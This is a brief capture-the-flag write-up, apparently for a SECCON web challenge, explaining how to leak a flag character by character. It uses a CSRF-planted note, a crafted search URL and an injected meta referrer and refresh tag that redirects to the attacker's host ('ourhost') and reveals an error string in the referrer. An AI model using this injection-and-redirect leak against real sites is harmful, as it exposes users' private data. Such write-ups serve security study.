To leak whether the first character of flag is 'A' or not:
- first we create the following note for admin ( csrf is possible for 2 minutes ):
{"toString":"A","f1":"SECCON{A","f2":"SECCON{B","SECCON{C",...}
- Then we open a window to
${TARGETHOST}/?search=SECCON{A&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=http://ourhost/" />
- The window will be redirected to
ourhost
with an error message in referrer. - if there is NOT any "filteredNotes" in referrer ( error did not happen in search box ), then the first character of flag is 'A'.
Using this logic, we can leak the flag!